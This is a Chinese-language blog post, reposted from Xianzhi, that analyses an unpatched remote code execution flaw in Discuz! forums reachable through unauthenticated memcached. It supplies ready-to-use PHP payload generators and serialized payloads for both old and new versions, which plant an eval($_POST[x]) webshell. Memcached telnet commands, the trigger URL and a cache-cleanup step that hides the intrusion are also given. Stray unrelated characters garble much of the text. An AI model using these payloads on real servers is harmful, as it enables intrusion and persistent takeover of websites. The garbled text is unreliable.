首先這篇文章轉(zhuǎn)自先知宝恶,作者
尼古拉斯三楞
如有侵權(quán)請私信烙丛。
一祭埂、前言
這個(gè)漏洞大家一定不陌生面氓,在16年的時(shí)候關(guān)于discuz! + ssrf +memcached的RCE漏洞讓大家都很驚艷,一年過去了這個(gè)漏洞的修復(fù)情況又是怎樣的呢蛆橡?
二舌界、漏洞簡述
這個(gè)漏洞大致利用過程是這樣的:利用discuz!的ssrf漏洞,利用gopher協(xié)議寫入payload到memcached泰演,然后請求特定鏈接導(dǎo)致代碼執(zhí)行漏洞呻拌。
可以看出漏洞利用兩個(gè)關(guān)鍵點(diǎn):
1.ssrf漏洞
2.代碼執(zhí)行漏洞
利用ssrf漏洞是要向memcached中寫入payload,我們抽象的看ssrf只是寫入payload的一種方式睦焕。如果memcached的11211端口綁定到了外網(wǎng)并且可以未授權(quán)訪問藐握,ssrf漏洞我們也可以不使用了。今天在做一個(gè)滲透測試的時(shí)候遇到了此種情況垃喊。
因此猾普,現(xiàn)在我的關(guān)注點(diǎn)是代碼執(zhí)行漏洞。如果代碼執(zhí)行漏洞沒有修復(fù)本谜,我就可以利用memcached未授權(quán)漏洞寫入payload初家,使用代碼執(zhí)行漏洞獲取webshell。
三乌助、discuz溜在!代碼執(zhí)行漏洞分析
漏洞利用有兩個(gè)版本,一個(gè)是老版本他托,一個(gè)是新版本炕泳,discuz!雖然已經(jīng)是x3.4上祈,代碼也發(fā)生了變化,漏洞確是任然沒有修復(fù)。
漏洞利用代碼流程邏輯:
訪問:
forum.php?mod=ajax&inajax=yes&action=getthreadtypes
./source/module/forum/forum_ajax.php
./template/default/common/footer_ajax.htm
./source/function/function_core.php
./source/function/function_core.php
最后利用preg_replace
函數(shù)/e
參數(shù)的代碼執(zhí)行特性完成了漏洞利用的全部過程登刺。
以上是老版本代碼籽腕,在網(wǎng)上已經(jīng)有一些分析了,在這里簡述一些纸俭,重點(diǎn)是payload的完整性使用皇耗。網(wǎng)上文章大部分在payload部分都只是驗(yàn)證性演示。作為一名紅隊(duì)滲透測試人員揍很,驗(yàn)證性payload肯定是不能再實(shí)際滲透測試活動(dòng)中使用的郎楼。
四、漏洞利用流程
1 老版本漏洞利用流程:
生成payload
<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;"><?php
$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
</pre>
<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
</pre>
? 然后telnet鏈接memcached
telnet 1.1.1.1 11211
set xxxxxx_setting 1 0 yyy //xxxx為前綴窒悔,discuz定義的呜袁,可以使用stats cachedump 命令查看。yyy為payload長度简珠。
最后訪問forum.php?mod=ajax&inajax=yes&action=getthreadtypes阶界,shell生成/data/cache/ln.php。
2 網(wǎng)上給的修復(fù)代碼是這樣的
<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">if (preg_match("(/|#|+|%).*(/|#|+|%)e", $_G['setting']['output']['preg']['search']) !== FALSE) { die("request error"); }
</pre>
? 這個(gè)修復(fù)完全沒有作用聋庵,無效修復(fù)膘融,preg_match的正則根本匹配不到/.*/e。注意看祭玉,正則代碼沒有給分隔符氧映,而(成了分隔符,讓正則失去了本來的作用脱货,如果加上分隔符岛都,正則匹配任何字符,將影響代碼正常功能蹭劈。
五疗绣、最新版本Discuz x3.4漏洞依舊存在
1 代碼變化,漏洞依舊
?漏洞點(diǎn)代碼已經(jīng)被更新铺韧,但是漏洞并沒有被修復(fù)多矮,這種代碼更新應(yīng)該是為了適應(yīng)php版本更新,因?yàn)閜hp5.5以后preg_replace
的/e
參數(shù)被廢棄哈打,官方建議使用preg_replace_callback
塔逃。
<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">foreach($_G['setting']['output']['preg']['search']as $key => $value) {
$content= preg_replace_callback($value, create_function('$matches','return'.$_G['setting']['output']['preg']['replace'][$key].';'), $content);
}
</pre>
漏洞函數(shù)變成了create_function,這個(gè)函數(shù)大家都知道也是危險(xiǎn)函數(shù),可以造成代碼執(zhí)行漏洞料仗。
2 新版本漏洞利用流程
生成payload有點(diǎn)變化(ps:只是少了一個(gè)e)
<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;"><?php
$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
</pre>
<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
</pre>
訪問:
forum.php?mod=ajax&inajax=yes&action=getthreadtypes
最后一定要恢復(fù)緩存
Delete Vtfbsm_setting
成功寫入文件
四湾盗、總結(jié)
? 直到最新版本discuz也沒有修復(fù)這個(gè)漏洞,當(dāng)初的ssrf結(jié)合memcached的漏洞立轧,discuz只看到了ssrf漏洞格粪,并沒有留意到這個(gè)代碼執(zhí)行的漏洞躏吊。通過漏洞的抽象思維,我們知道控制memcached的方式不僅僅只有ssrf帐萎,再進(jìn)一步到代碼層比伏,控制$G
全局變量的方式也不僅僅只有memcached。
點(diǎn)擊收藏 | 0關(guān)注 | 2